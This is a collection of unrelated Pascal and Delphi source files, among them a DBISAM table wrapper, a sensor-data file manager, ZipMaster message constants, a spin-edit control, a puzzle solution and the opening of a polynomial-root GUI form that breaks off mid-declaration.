lpQT:Result:=sQTWidgetSet; lpfpGUI:Result:=sFpGUIWidgetSet; else Result:=sOtherGUIWidgetSet; end; end; end.
{ Date Created: 5/25/00 5:01:01 PM } unit InfoDIRYGRUPTable; interface uses Classes, DB, DBISAMTb, SysUtils, DBISAMTableAU, DataBuf; type TInfoDIRYGRUPRecord = record PGroup: String[6]; PDescription: String[30]; End; TInfoDIRYGRUPBuffer = class(TDataBuf) protected function PtrIndex(Index:integer):Pointer;override; public Data: TInfoDIRYGRUPRecord end; TEIInfoDIRYGRUP = (InfoDIRYGRUPPrimaryKey); TInfoDIRYGRUPTable = class( TDBISAMTableAU ) private FDFGroup: TStringField; FDFDescription: TStringField; procedure SetPGroup(const Value: String); function GetPGroup:String; procedure SetPDescription(const Value: String); function GetPDescription:String; procedure SetEnumIndex(Value: TEIInfoDIRYGRUP); function GetEnumIndex: TEIInfoDIRYGRUP; protected procedure CreateFields; virtual; procedure SetActive(Value: Boolean); override; procedure LoadFieldDefs(AStringList:TStringList);override; procedure LoadIndexDefs(AStringList:TStringList);override; public function GetDataBuffer:TInfoDIRYGRUPRecord; procedure StoreDataBuffer(ABuffer:TInfoDIRYGRUPRecord); property DFGroup: TStringField read FDFGroup; property DFDescription: TStringField read FDFDescription; property PGroup: String read GetPGroup write SetPGroup; property PDescription: String read GetPDescription write SetPDescription; procedure Validate; virtual; published property Active write SetActive; property EnumIndex: TEIInfoDIRYGRUP read GetEnumIndex write SetEnumIndex; end; { TInfoDIRYGRUPTable } procedure Register; implementation procedure TInfoDIRYGRUPTable.CreateFields; begin FDFGroup := CreateField( 'Group' ) as TStringField; FDFDescription := CreateField( 'Description' ) as TStringField; end; { TInfoDIRYGRUPTable.CreateFields } procedure TInfoDIRYGRUPTable.SetActive(Value: Boolean); begin inherited SetActive(Value); if Active then CreateFields; end; { TInfoDIRYGRUPTable.SetActive } procedure TInfoDIRYGRUPTable.Validate; begin { Enter Validation Code Here } end; { TInfoDIRYGRUPTable.Validate } procedure TInfoDIRYGRUPTable.SetPGroup(const Value: String); begin DFGroup.Value := Value; end; function TInfoDIRYGRUPTable.GetPGroup:String; begin result := DFGroup.Value; end; procedure TInfoDIRYGRUPTable.SetPDescription(const Value: String); begin DFDescription.Value := Value; end; function TInfoDIRYGRUPTable.GetPDescription:String; begin result := DFDescription.Value; end; procedure TInfoDIRYGRUPTable.LoadFieldDefs(AStringList: TStringList); begin inherited; with AstringList do begin Add('Group, String, 6, N'); Add('Description, String, 30, N'); end; end; procedure TInfoDIRYGRUPTable.LoadIndexDefs(AStringList: TStringList); begin inherited; with AstringList do begin Add('PrimaryKey, Group, Y, Y, N, N'); end; end; procedure TInfoDIRYGRUPTable.SetEnumIndex(Value: TEIInfoDIRYGRUP); begin case Value of InfoDIRYGRUPPrimaryKey : IndexName := ''; end; end; function TInfoDIRYGRUPTable.GetDataBuffer:TInfoDIRYGRUPRecord; var buf: TInfoDIRYGRUPRecord; begin fillchar(buf, sizeof(buf), 0); buf.PGroup := DFGroup.Value; buf.PDescription := DFDescription.Value; result := buf; end; procedure TInfoDIRYGRUPTable.StoreDataBuffer(ABuffer:TInfoDIRYGRUPRecord); begin DFGroup.Value := ABuffer.PGroup; DFDescription.Value := ABuffer.PDescription; end; function TInfoDIRYGRUPTable.GetEnumIndex: TEIInfoDIRYGRUP; var iname : string; begin iname := uppercase(indexname); if iname = '' then result := InfoDIRYGRUPPrimaryKey; end; (********************************************) (************ Register Component ************) (********************************************) procedure Register; begin RegisterComponents( 'Info Tables', [ TInfoDIRYGRUPTable, TInfoDIRYGRUPBuffer ] ); end; { Register } function TInfoDIRYGRUPBuffer.PtrIndex(index:integer):Pointer; begin result := nil; case index of 1 : result := @Data.PGroup; 2 : result := @Data.PDescription; end; end; end. { InfoDIRYGRUPTable }
unit FileMan; interface uses Classes, IniFiles, Windows, SysUtils, FileCtrl, Misc; type TTrackInfo = class(TObject) public TrackID:Integer; RecSize:Integer; RecsPerDay:Integer; LastRecTime:TDateTime; constructor Create(aID,aSize,aRPD:Integer); end; TMyFile = class(TFileStream) LastAccess:Integer; end; TFileManager = class(TObject) protected FileNames:TStringList; FilePaths:TStringList; Tracks:TByteStringList; Files:TByteStringList; MaxOpenFiles:Integer; AutoCloseTime:Integer; ReadOnly:Boolean; EventsPath:String; function GetMyFile(const FilePath,FileName:String; Mode:Word; Size:Integer):TMyFile; procedure AddToFiles(NewMF:TMyFile; const StrID:String); public constructor CreateFromIniSection(Ini:TIniFile; const Section:String); function GetFileStream(TI:TTrackInfo; Date:TDateTime; ForReading:Boolean):TFileStream; function GetTrackInfo(TrackID:Integer):TTrackInfo; function FindTrackInfo(TrackID:Integer):TTrackInfo; destructor Destroy;override; public procedure SetTrackInfo(TrackID, RecSize, RecsPerDay: Integer); procedure GetLastRecTime(TrackID:Integer;var Time:TDateTime); procedure timerProc; procedure writeRecords(TrackID: Integer; FromTime: TDateTime; Count: Integer; const Data: WideString); procedure readRecords(TrackID: Integer; FromTime: TDateTime; Count: Integer; var Data: WideString); procedure StrToTrackID(const Str: String; var TrackID: Integer); end; function ApplySubstitutions(const Src:AnsiString; TrackID:Integer; const Date:TDateTime):AnsiString; function GetStrTrackTimeID(TrackID:Integer;const Time:TDateTime):AnsiString; function GetStrTrackID(TrackID:Integer):AnsiString; function GetInvStrTrackID(TrackID:Integer):AnsiString; implementation type TByteArray=packed array[0..MaxInt-1] of Byte; const Code:PChar='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; var SubsList:TStringList; { TFileManager } constructor TFileManager.CreateFromIniSection(Ini:TIniFile; const Section:String); var SV:TStringList; VName:String; FileName,DefFileName:String; i:Integer; s:String; begin inherited Create; FilePaths:=TStringList.Create; FileNames:=TStringList.Create; Files:=TByteStringList.Create; Files.Sorted:=True; Tracks:=TByteStringList.Create; Tracks.Sorted:=True; AutoCloseTime:=Ini.ReadInteger(Section,'AutoCloseTime',20); MaxOpenFiles:=Ini.ReadInteger(Section,'MaxOpenFiles',1); ReadOnly:=Ini.ReadInteger(Section,'ReadOnly',0)<>0; if MaxOpenFiles<1 then MaxOpenFiles:=1; SV:=TStringList.Create; Ini.ReadSectionValues(Section,SV); for i:=0 to SV.Count-1 do begin VName:=SV.Names[i]; if Pos('FilePath',VName)=1 then begin FilePaths.Add(SV.Values[VName]); FileName:=SV.Values['FileName'+Copy(VName,9,Length(VName)-9+1)]; if DefFileName='' then DefFileName:=FileName else if FileName='' then FileName:=DefFileName; FileNames.Add(FileName); end; end; SV.Free; s:=FilePaths[0]; for i:=1 to Length(s) do begin if s[i]='\' then EventsPath:=Copy(s,1,i-1) else if s[i]='%' then break; end; EventsPath:=EventsPath+'\Events'; end; destructor TFileManager.Destroy; var i:Integer; begin FilePaths.Free; FileNames.Free; for i:=0 to Files.Count-1 do TMyFile(Files.Objects[i]).Free; Files.Free; for i:=0 to Tracks.Count-1 do TTrackInfo(Tracks.Objects[i]).Free; Tracks.Free; inherited; end; function TFileManager.GetMyFile(const FilePath, FileName: String; Mode:Word; Size:Integer): TMyFile; var FullName:String; Count:Integer; Block:packed array[1..1024*128] of byte; begin Result:=nil; FullName:=FilePath+'\'+FileName; if (Mode<>fmCreate) and not FileExists(FullName) then exit; try if ForceDirectories(FilePath) then begin Result:=TMyFile.Create(FullName,Mode); if Mode and fmCreate=fmCreate then begin FillChar(Block,SizeOf(Block),0); try while Size>0 do begin if SizeOf(Block)<=Size then Count:=SizeOf(Block) else Count:=Size; Result.Write(Block,Count); Dec(Size,Count); end; except Result.Free; DeleteFile(FullName); raise; end; Result.Free; Result:=TMyFile.Create(FullName,fmOpenReadWrite or fmShareDenyWrite); end else if (Size>0) and (Result.Size<>Size) then begin Result.Free; Result:=nil; end; end; except if Result<>nil then Result.Free; Result:=nil; end; end; function TFileManager.GetFileStream(TI: TTrackInfo; Date: TDateTime; ForReading:Boolean): TFileStream; type TFileModeArr=array[0..2] of Word; const FileModeRW:TFileModeArr=(fmOpenReadWrite or fmShareDenyNone, fmOpenRead or fmShareDenyNone, fmCreate); //FileModeRW:TFileModeArr=(fmOpenReadWrite or fmShareDenyWrite,fmOpenRead or fmShareDenyWrite,fmCreate or fmShareDenyWrite); FileModeRO:TFileModeArr=(fmOpenRead or fmShareDenyWrite,fmOpenRead or fmShareDenyWrite,fmOpenRead or fmShareDenyWrite); var FN,FP:String; MF:TMyFile; i,m,me:Integer; StrID:String; DayDataSize:Integer; FileMode:^TFileModeArr; begin Result:=nil; ReplaceTime(Date,0); StrID:=GetStrTrackTimeID(TI.TrackID,Date); if Files.Find(StrID,i) then begin MF:=TMyFile(Files.Objects[i]); MF.LastAccess:=0; Result:=MF; exit; end; DayDataSize:=TI.RecSize*TI.RecsPerDay; if ReadOnly then begin FileMode:=@FileModeRO; me:=0; end else begin if ForReading then me:=1 else me:=2; FileMode:=@FileModeRW; end; if DayDataSize>0 then for m:=0 to me do begin for i:=0 to FilePaths.Count-1 do begin FP:=ApplySubstitutions(FilePaths[i],TI.TrackID,Date); FN:=ApplySubstitutions(FileNames[i],TI.TrackID,Date); MF:=GetMyFile(FP,FN,FileMode[m],DayDataSize); if MF<>nil then begin AddToFiles(MF,StrID); Result:=MF; exit; end; end; end else begin FP:=EventsPath; FN:=ApplySubstitutions('%NPP_ID%%SectID%%SensID%.bin',TI.TrackID,0); for m:=0 to me do begin MF:=GetMyFile(FP,FN,FileMode[m],0); if MF<>nil then begin AddToFiles(MF,StrID); Result:=MF; exit; end; end; end; if not ForReading then raise Exception.Create('TFileManager.GetFileStream:Unable to find or create file'); end; procedure TFileManager.timerProc; var i:Integer; F:TMyFile; begin i:=Files.Count-1; while i>=0 do begin F:=TMyFile(Files.Objects[i]); Inc(F.LastAccess); if F.LastAccess>AutoCloseTime then begin Files.Delete(i); F.Free; end; Dec(i); end; end; procedure TFileManager.AddToFiles; var i,iMax:Integer; Max:Integer; begin while Files.Count>=MaxOpenFiles do begin Max:=TMyFile(Files.Objects[0]).LastAccess; iMax:=0; for i:=1 to Files.Count-1 do begin if TMyFile(Files.Objects[i]).LastAccess > Max then begin Max:=TMyFile(Files.Objects[i]).LastAccess; iMax:=i; end; end; TMyFile(Files.Objects[iMax]).Free; Files.Delete(iMax); end; Files.AddObject(StrID,NewMF); end; procedure TFileManager.setTrackInfo; var StrID:String; i:Integer; TI:TTrackInfo; begin StrID:=GetStrTrackID(TrackID); if Tracks.Find(StrID,i) then begin TI:=TTrackInfo(Tracks.Objects[i]); if (TI.RecSize<>RecSize) or (TI.RecsPerDay<>RecsPerDay) then raise Exception.Create('Несовпадение характеристик трека :)'); end else begin TI:=TTrackInfo.Create(TrackID,RecSize,RecsPerDay); Tracks.AddObject(StrID,TI); end; end; procedure TFileManager.GetLastRecTime; var TI:TTrackInfo; begin TI:=GetTrackInfo(TrackID); if TI.RecsPerDay=0 then begin Time:=GetFileStream(TI,0,False).Size; end else Time:=TI.LastRecTime; end; function TFileManager.GetTrackInfo; begin Result:=FindTrackInfo(TrackID); if Result=nil then raise Exception.Create('TFileManager.GetTrackInfo:Unknown TrackID'); end; function TFileManager.FindTrackInfo; var i:Integer; begin if Tracks.Find(GetStrTrackID(TrackID),i) then Result:=TTrackInfo(Tracks.Objects[i]) else Result:=nil; end; procedure TFileManager.writeRecords; var TI:TTrackInfo; FS:TFileStream; DataPos,FilePos,BlockSize:Integer; P:^TByteArray; LRT:TDateTime; begin if ReadOnly then exit; if Count<=0 then raise Exception.Create('TFileManager.writeRecords:Count<=0'); try TI:=GetTrackInfo(TrackID); if TI.RecsPerDay=0 then begin FS:=GetFileStream(TI,0,False); FS.Seek(0,soFromEnd); FS.Write(Data[1],Count); exit; end; P:=Addr(Data[1]); FilePos:=Round(Frac(FromTime)*TI.RecsPerDay); LRT:=FromTime+Count/TI.RecsPerDay; DataPos:=0; if Count>TI.RecsPerDay-FilePos then BlockSize:=TI.RecsPerDay-FilePos else BlockSize:=Count; if LRT>TI.LastRecTime then TI.LastRecTime:=LRT; repeat FS:=GetFileStream(TI,FromTime,False); if FS=nil then break; FS.Seek(FilePos*TI.RecSize,soFromBeginning); FS.Write(P[DataPos*TI.RecSize],BlockSize*TI.RecSize); Inc(DataPos,BlockSize); Dec(Count,BlockSize); if Count>0 then begin if Count>TI.RecsPerDay then BlockSize:=TI.RecsPerDay else BlockSize:=Count; FromTime:=Trunc(FromTime)+1; end else break; FilePos:=0; until 2*2=5; except end; end; procedure TFileManager.readRecords; var TI:TTrackInfo; FS:TFileStream; DataPos,FilePos,BlockSize,Size:Integer; P:^TByteArray; begin if Count<=0 then raise Exception.Create('TFileManager.readRecords:Count<=0'); TI:=GetTrackInfo(TrackID); if TI.RecsPerDay=0 then begin SetLength(Data,(Count+1) shr 1); FS:=GetFileStream(TI,0,False); FS.Seek(Trunc(FromTime),soFromBeginning); Count:=FS.Read(Data[1],Count); SetLength(Data,(Count+1) shr 1); if odd(Count) then begin P:=Addr(Data[1]); P[Count]:=0; end; exit; end; FilePos:=Round(Frac(FromTime)*TI.RecsPerDay); Size:=Count*TI.RecSize+1; SetLength(Data,Size shr 1); FillChar(Data[1],Size,0); P:=Addr(Data[1]); DataPos:=0; if Count>TI.RecsPerDay-FilePos then BlockSize:=TI.RecsPerDay-FilePos else BlockSize:=Count; repeat FS:=GetFileStream(TI,FromTime,True); if FS<>nil then begin FS.Seek(FilePos*TI.RecSize,soFromBeginning); FS.Read(P[DataPos*TI.RecSize],BlockSize*TI.RecSize); end else FillChar(P[DataPos],BlockSize*TI.RecSize,0); Inc(DataPos,BlockSize); Dec(Count,BlockSize); if Count>0 then begin if Count>TI.RecsPerDay then BlockSize:=TI.RecsPerDay else BlockSize:=Count; FromTime:=Trunc(FromTime)+1; end else break; FilePos:=0; until 2*2=5; end; procedure TFileManager.StrToTrackID(const Str: String; var TrackID: Integer); function MyPos(c:Char):Integer; begin Result:=Pos(c,Code); if Result>0 then Dec(Result) else raise Exception.Create('FileManager.StrToTrackID : Invalid TrackID string'); end; var i:Integer; begin TrackID:=0; if Length(Str)<4 then i:=Length(Str) else i:=4; for i:=1 to i do TrackID:=TrackID or (MyPos(Str[i]) shl ((4-i) shl 3)); end; { TTrackInfo } constructor TTrackInfo.Create; begin inherited Create; TrackID:=aID; if (aSize<0) or (aRPD<0) then raise Exception.Create('TTrackInfo.Create : bad track parameters'); RecSize:=aSize; RecsPerDay:=aRPD; end; function ApplySubstitutions; var Year,Month,Day:Word; B,E,SubsNum:Integer; Tag:Boolean; function getCode(i:Byte):Char; begin if i<36 then Result:=Code[i] else Result:='_'; end; function sNPP_ID:String; begin Result:=getCode(TrackID shr 24 and $FF); end; function sSectID:String; begin Result:=getCode(TrackID shr 16 and $FF); end; function sSensID:String; begin Result:=getCode(TrackID shr 8 and $FF); end; function sYear:String; begin Str(Year:4,Result); end; function sYear2:String; begin Result:=Copy(sYear,3,2); end; function sMonth:String; begin Str(Month,Result); if Length(Result)=1 then Result:='0'+Result; end; function sDay:String; begin Str(Day,Result); if Length(Result)=1 then Result:='0'+Result; end; function sMonthHex:String; begin Result:=getCode(Month); end; function sSpecID:String; begin Result:=getCode(TrackID and $FF); end; begin DecodeDate(Date,Year,Month,Day); B:=1; Tag:=False; Result:=''; for E:=1 to Length(Src) do begin if Src[E]='%' then begin if Tag then begin SubsNum:=SubsList.IndexOf(Copy(Src,B,E-B)); case SubsNum of 0:Result:=Result+sNPP_ID; // NPP_ID 1:Result:=Result+sSectID; // SectID 2:Result:=Result+sSensID; // SensID 3:Result:=Result+sYear; // Year 4:Result:=Result+sYear2; // Year2 5:Result:=Result+sMonth; // Month 6:Result:=Result+sMonthHex; // MonthHex 7:Result:=Result+sDay; // Day 8:Result:=Result+sSpecID; // SpecID end; B:=E+1; Tag:=False; end else begin Result:=Result+Copy(Src,B,E-B); B:=E+1; Tag:=True; end; end; end; if not Tag then Result:=Result+Copy(Src,B,Length(Src)-B+1); end; function GetInvStrTrackID; type TChar4Array=packed array[1..4] of Char; var A:TChar4Array absolute TrackID; begin SetLength(Result,4); Result[1]:=A[4]; Result[2]:=A[3]; Result[3]:=A[2]; Result[4]:=A[1]; end; function GetStrTrackID; begin SetLength(Result,4); Integer((@(Result[1]))^):=TrackID; end; function GetStrTrackTimeID; type TType=packed record I:Integer; T:TDateTime; end; begin SetLength(Result,12); with TType((@(Result[1]))^) do begin I:=TrackID; T:=Time; end; end; procedure Initialize; begin SubsList:=TStringList.Create; SubsList.Add('NPP_ID'); // NPP - Код НПП SubsList.Add('SectID'); // SectID - Код участка НПП SubsList.Add('SensID'); // SensID - Код датчика на участке НПП SubsList.Add('Year'); // Year - Год (4 цифры) SubsList.Add('Year2'); // Year2 - Год (2 последние цифры) SubsList.Add('Month'); // Month - Месяц (2 цифры) SubsList.Add('MonthHex'); // MonthHex - Месяц (1 шестнадцатеричная цифра) SubsList.Add('Day'); // Day - Число месяца (2 цифры) SubsList.Add('SpecID'); // SpecID - Дополнительный спец. код end; initialization Initialize; finalization SubsList.Free; end.
unit Script.UnknownToken; interface uses Script.WordsInterfaces, Script.Word ; type TscriptUnknownToken = class(TscriptWord) private f_String : String; protected procedure DoIt(aContext: TscriptContext); override; public constructor Create(const aString: String); class function Make(const aString: String): IscriptWord; end;//TscriptUnknownToken implementation constructor TscriptUnknownToken.Create(const aString: String); begin inherited Create; f_String := aString; end; class function TscriptUnknownToken.Make(const aString: String): IscriptWord; begin Result := Create(aString); end; procedure TscriptUnknownToken.DoIt(aContext: TscriptContext); begin aContext.Log('Unknown token: ' + Self.f_String); end; end.
{$include lem_directives.inc} unit LemEdit; interface uses Classes, LemLevel; type TLevelEditor = class(TComponent) private fLevel: TLevel; procedure SetLevel(const Value: TLevel); protected public property Level: TLevel read fLevel write SetLevel; published end; implementation { TLevelEditor } procedure TLevelEditor.SetLevel(const Value: TLevel); begin fLevel := Value; end; end.
Unit ZMMsg19; (* Built by ZipHelper DO NOT MODIFY ZMMsg19.pas - Message Identifiers Copyright (C) 2009, 2010 by Russell J. Peters, Roger Aelbrecht, Eric W. Engler and Chris Vleghert. This file is part of TZipMaster Version 1.9. TZipMaster is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. TZipMaster is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with TZipMaster. If not, see <http://www.gnu.org/licenses/>. contact: problems@delphizip.org (include ZipMaster in the subject). updates: http://www.delphizip.org DelphiZip maillist subscribe at http://www.freelists.org/list/delphizip ---------------------------------------------------------------------------*) Interface Const DT_Language = 10096; DT_Author = 10097; DT_Desc = 10098; GE_FatalZip = 10101; GE_NoZipSpecified = 10102; GE_NoMem = 10103; GE_WrongPassword = 10104; GE_Except = 10106; GE_Inactive = 10109; GE_RangeError = 10110; GE_TempZip = 10111; GE_WasBusy = 10112; GE_EventEx = 10113; GE_DLLCritical = 10124; GE_Unknown = 10125; GE_Skipped = 10126; GE_Copying = 10127; GE_Abort = 10128; GE_ExceptErr = 10130; GE_NoSkipping = 10131; GE_FileChanged = 10132; RN_InvalidDateTime = 10144; PW_UnatAddPWMiss = 10150; PW_UnatExtPWMiss = 10151; PW_Caption = 10154; PW_MessageEnter = 10155; PW_MessageConfirm = 10156; CF_SourceIsDest = 10180; CF_OverwriteYN = 10181; CF_CopyFailed = 10182; CF_SFXCopyError = 10184; CF_NoDest = 10187; LI_ReadZipError = 10201; LI_ErrorUnknown = 10202; LI_WrongZipStruct = 10203; ZB_Yes = 10220; ZB_No = 10221; ZB_OK = 10222; ZB_Cancel = 10223; ZB_Abort = 10224; ZB_Retry = 10225; ZB_Ignore = 10226; ZB_CancelAll = 10227; ZB_NoToAll = 10228; ZB_YesToAll = 10229; AD_NothingToZip = 10301; AD_UnattPassword = 10302; AD_AutoSFXWrong = 10304; AD_InIsOutStream = 10306; AD_InvalidName = 10307; AD_NoDestDir = 10308; AD_BadFileName = 10309; AD_InvalidEncode = 10310; AD_InvalidZip = 10311; AZ_NothingToDo = 10320; AZ_SameAsSource = 10321; AZ_InternalError = 10322; DL_NothingToDel = 10401; EX_UnAttPassword = 10502; EX_NoExtrDir = 10504; LD_NoDll = 10650; LD_DllLoaded = 10652; LD_DllUnloaded = 10653; LD_LoadErr = 10654; SF_StringTooLong = 10801; SF_NoZipSFXBin = 10802; SF_DetachedHeaderTooBig = 10810; CZ_InputNotExe = 10902; CZ_BrowseError = 10906; CZ_NoExeResource = 10907; CZ_ExeSections = 10908; CZ_NoExeIcon = 10909; CZ_NoIcon = 10910; CZ_NoCopyIcon = 10911; CZ_NoIconFound = 10912; DS_NoInFile = 11001; DS_FileOpen = 11002; DS_NotaDrive = 11003; DS_DriveNoMount = 11004; DS_NoVolume = 11005; DS_NoMem = 11006; DS_Canceled = 11007; DS_FailedSeek = 11008; DS_NoOutFile = 11009; DS_NoWrite = 11010; DS_EOCBadRead = 11011; DS_LOHBadRead = 11012; DS_CEHBadRead = 11013; DS_CEHWrongSig = 11015; DS_CENameLen = 11017; DS_DataDesc = 11020; DS_CECommentLen = 11022; DS_ErrorUnknown = 11024; DS_NoUnattSpan = 11025; DS_NoTempFile = 11027; DS_LOHBadWrite = 11028; DS_CEHBadWrite = 11029; DS_EOCBadWrite = 11030; DS_NoDiskSpace = 11032; DS_InsertDisk = 11033; DS_InsertVolume = 11034; DS_InDrive = 11035; DS_NoValidZip = 11036; DS_AskDeleteFile = 11039; DS_AskPrevFile = 11040; DS_InsertAVolume = 11046; DS_CopyCentral = 11047; DS_NoDiskSpan = 11048; DS_UnknownError = 11049; DS_NoRenamePart = 11050; DS_NotChangeable = 11051; DS_Zip64FieldError = 11052; DS_Unsupported = 11053; DS_ReadError = 11054; DS_WriteError = 11055; DS_FileError = 11056; DS_FileChanged = 11057; DS_SFXBadRead = 11058; DS_BadDrive = 11059; DS_LOHWrongName = 11060; DS_BadCRC = 11061; DS_NoEncrypt = 11062; DS_NoInStream = 11063; DS_NoOutStream = 11064; DS_SeekError = 11065; DS_DataCopy = 11066; DS_CopyError = 11067; DS_TooManyParts = 11068; DS_AnotherDisk = 11069; FM_Erase = 11101; FM_Confirm = 11102; CD_CEHDataSize = 11307; CD_DuplFileName = 11309; CD_NoProtected = 11310; CD_NoChangeDir = 11312; PR_Archive = 11401; PR_CopyZipFile = 11402; PR_SFX = 11403; PR_Header = 11404; PR_Finish = 11405; PR_Copying = 11406; PR_CentrlDir = 11407; PR_Checking = 11408; PR_Loading = 11409; PR_Joining = 11410; PR_Splitting = 11411; PR_Writing = 11412; PR_PreCalc = 11413; DZ_Skipped = 11450; DZ_InUse = 11451; DZ_Refused = 11452; DZ_NoOpen = 11453; DZ_NoFiles = 11454; DZ_SizeChanged = 11455; TM_Erasing = 11600; TM_Deleting = 11601; TM_GetNewDisk = 11602; TM_SystemError = 11603; TM_Trace = 11604; TM_Verbose = 11605; DZ_RES_GOOD = 11648; DZ_RES_CANCELLED = 11649; DZ_RES_ABORT = 11650; DZ_RES_CALLBACK = 11651; DZ_RES_MEMORY = 11652; DZ_RES_STRUCT = 11653; DZ_RES_ERROR = 11654; DZ_RES_PASSWORD_FAIL = 11655; DZ_RES_PASSWORD_CANCEL = 11656; DZ_RES_INVAL_ZIP = 11657; DZ_RES_NO_CENTRAL = 11658; DZ_RES_ZIP_EOF = 11659; DZ_RES_ZIP_END = 11660; DZ_RES_ZIP_NOOPEN = 11661; DZ_RES_ZIP_MULTI = 11662; DZ_RES_NOT_FOUND = 11663; DZ_RES_LOGIC_ERROR = 11664; DZ_RES_NOTHING_TO_DO = 11665; DZ_RES_BAD_OPTIONS = 11666; DZ_RES_TEMP_FAILED = 11667; DZ_RES_NO_FILE_OPEN = 11668; DZ_RES_ERROR_READ = 11669; DZ_RES_ERROR_CREATE = 11670; DZ_RES_ERROR_WRITE = 11671; DZ_RES_ERROR_SEEK = 11672; DZ_RES_EMPTY_ZIP = 11673; DZ_RES_INVAL_NAME = 11674; DZ_RES_GENERAL = 11675; DZ_RES_MISS = 11676; DZ_RES_WARNING = 11677; DZ_ERR_ERROR_DELETE = 11678; DZ_ERR_FATAL_IMPORT = 11679; DZ_ERR_SKIPPING = 11680; DZ_ERR_LOCKED = 11681; DZ_ERR_DENIED = 11682; DZ_ERR_DUPNAME = 11683; const PR_Progress = PR_Archive - 1; // name of compressed resource data const DZRES_Str = 'DZResStr19'; // compressed language strings DZRES_SFX = 'DZResSFX19'; // stored UPX Dll version as string DZRES_Dll = 'DZResDll19'; // stored UPX Dll implementation end.
{************************************} { } { ATUpEdit Component } { Copyright (C) Alexey Torgashin } { http://uvviewsoft.com } { } {************************************} unit ATxUpEdit; interface uses Windows, SysUtils, Classes, Controls, StdCtrls, ComCtrls; type TUpEdit = class(TEdit) private FUp: TUpDown; FPrec: Integer; FMin: Extended; FMax: Extended; FInc: Extended; procedure UpChange(Sender: TObject; var AllowChange: Boolean; NewValue: SmallInt; Direction: TUpDownDirection); function GetValue: Extended; procedure SetValue(AVal: Extended); public constructor Create(AOwner: TComponent); override; property Prec: Integer read FPrec write FPrec; property Min: Extended read FMin write FMin; property Max: Extended read FMax write FMax; property Inc: Extended read FInc write FInc; property Value: Extended read GetValue write SetValue; protected procedure Resize; override; procedure SetParent(AValue: TWinControl); override; procedure SetEnabled(AValue: Boolean); override; procedure KeyDown(var Key: Word; Shift: TShiftState); override; end; procedure Register; implementation constructor TUpEdit.Create(AOwner: TComponent); begin inherited; FPrec := 1; FMin := 0.0; FMax := 1e10; FInc := 1.0; Value := 0; FUp := TUpDown.Create(Self); with FUp do begin Parent := nil; OnChangingEx := UpChange; Max := High(Max); Min := Low(Min); end; end; procedure TUpEdit.SetParent(AValue: TWinControl); begin inherited; if Assigned(AValue) then FUp.Parent := AValue; end; procedure TUpEdit.SetEnabled(AValue: Boolean); begin inherited; FUp.Enabled := AValue; end; procedure TUpEdit.Resize; begin FUp.Left := Left + Width; FUp.Top := Top; FUp.Height := Height; end; function FStr(const Value: Extended; FPrec: Integer): string; begin try Result := FloatToStrF(Value, ffFixed, 15, FPrec); except Result := '0'; end; end; procedure TUpEdit.UpChange; const cInc: array[TUpDownDirection] of Integer = (0, 1, -1); var V: Extended; begin try V := StrToFloat(Text) + cInc[Direction] * FInc; except V := FMin; end; if (V < FMin) then V := FMin; if (V > FMax) then V := FMax; Text := FStr(V, FPrec); end; function TUpEdit.GetValue; begin try Result := StrToFloat(Text); except Result := 0; end; end; procedure TUpEdit.SetValue; begin Text := FStr(AVal, FPrec); end; procedure TUpEdit.KeyDown(var Key: Word; Shift: TShiftState); var F: Boolean; begin case Key of VK_UP: begin UpChange(Self, F, 0, updUp); Key := 0; end; VK_DOWN: begin UpChange(Self, F, 0, updDown); Key := 0; end; end; end; { Registration } procedure Register; begin RegisterComponents('Samples', [TUpEdit]); end; end.
PROGRAM d6a; USES sysutils; FUNCTION answer(filename:string) : integer; CONST MSG_LEN = 4; VAR f: text; c: char; l: string = ''; i: integer = 0; j, p: integer; doubles_found: boolean; BEGIN answer := 0; assign(f, filename); reset(f); REPEAT i += 1; read(f, c); l += c; IF length(l) < MSG_LEN THEN continue; IF length(l) > MSG_LEN THEN l := copy(l, 2, MSG_LEN+1); doubles_found := false; FOR j:=1 TO MSG_LEN DO BEGIN p := pos(l[j], l); IF (p <> j) AND (p > 0) THEN doubles_found := true; END; IF doubles_found = false THEN answer := i; IF answer > 0 THEN break; UNTIL eof(f); close(f); END; CONST testfile1 = 'd6.test.1'; testfile2 = 'd6.test.2'; testfile3 = 'd6.test.3'; testfile4 = 'd6.test.4'; testfile5 = 'd6.test.5'; filename = 'd6.input'; VAR a: integer; BEGIN{d6a} assert(answer(testfile1) = 7, 'test 1 faal'); assert(answer(testfile2) = 5, 'test 2 faal'); assert(answer(testfile3) = 6, 'test 3 faal'); assert(answer(testfile4) = 10, 'test 4 faal'); assert(answer(testfile5) = 11, 'test 5 faal'); a := answer(filename); writeln(''); writeln('answer: ', a); END.
unit Unit_GUI; {$mode objfpc}{$H+} interface (*Las Varias principales son tres polinomios: Pol_N: Polinomio Normal: 0<= Grado N <=10 internamente el vector de coeficientes se carga de la forma [A0...AN] siempre pero se visualiza de forma predeterminada [An...A0] se puede cambiar la visualizacion con la propiedad, band_A0 de cls_Polin *) uses {$IFDEF UNIX}{$IFDEF UseCThreads} cthreads, cmem {$ENDIF}{$ENDIF} Classes, Forms, StdCtrls, Menus, PolinD, Controls, Types; type TForm1 = class(TForm) Bairstrow_Item: TMenuItem; Cotas: TMenuItem; Enteras_GroupBox: TGroupBox; Item_Div1: TMenuItem; Item_Div2: TMenuItem; Item_Editar: TMenuItem; item_invertir: TMenuItem; Item_Limpiar: TMenuItem; MainMenu1: TMainMenu; Newton_Item: TMenuItem; Racionales_GroupBox: TGroupBox; enteras_Memo: TMemo; Racionales_Memo: TMemo; Raices_Menu: TMenuItem; Salir: TMenuItem; X_Label: TLabel; Pol_N_Memo: TMemo; Pol_N_Main_Menu: TMenuItem; procedure FormCreate(Sender: TObject); procedure Actualiza(); //Actualiza los componentes del Formulario, con los nuevos valores procedure Bairstrow_ItemClick(Sender: TObject); procedure CotasClick(Sender: TObject); procedure FormKeyPress(Sender: TObject; var Key: char); procedure Item_Div2Click(Sender: TObject); procedure Item_EditarClick(Sender: TObject); procedure Item_invertirClick(Sender: TObject); procedure Item_Div1Click(Sender: TObject); procedure Item_LimpiarClick(Sender: TObject); procedure Newton_ItemClick(Sender: TObject); procedure Pol_N_MemoMouseWheelDown(Sender: TObject; Shift: TShiftState; MousePos: TPoint; var Handled: Boolean); procedure 